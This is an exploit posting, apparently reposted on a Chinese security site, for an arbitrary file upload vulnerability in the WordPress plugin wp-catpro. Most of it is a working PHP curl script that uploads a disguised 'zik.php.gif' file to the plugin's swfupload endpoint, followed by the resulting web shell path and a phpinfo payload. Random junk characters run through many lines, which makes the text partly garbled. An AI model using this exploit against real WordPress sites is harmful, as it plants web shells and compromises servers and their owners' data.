WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
% ^% o" K% J) `6 K. f$ N' l####

. B6 F2 c9 F5 F$ ]( e#=> Exploit 信息:
* b4 Z* B2 ?9 A% x' @2 j5 w------------------
# 攻击者可以上传 file/shell.php.gif
2 x9 c' x7 [, m1 N3 D. Z, A9 i" J4 J: H# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
8 E; ]; k' R5 F# D5 L( M: i" ?7 i$ H# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
8 A2 V+ ]( F5 z- T, }
#=> Exploit
-----------
<?php

& n+ ~! d( ~5 R1 y  ~$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
% Z# e& P& K3 g0 C2 ~curl_setopt($ch, CURLOPT_POST, true);
; _) v% [# |3 x( t8 Z9 X8 u/ b6 L" ]curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
0 U- i$ C' s6 }. zcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5 N7 a3 ?2 L$ O$ K) [7 f$postResult = curl_exec($ch);
) Z- k& U" M( M# P3 A5 x/ y% Icurl_close($ch);
' M( x5 c, P% i4 h) m, w
print "$postResult";
6 w, j9 ^4 Q1 z6 A' W7 v
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
8 h1 d: J7 l, J  ?>
<?php
phpinfo();
?>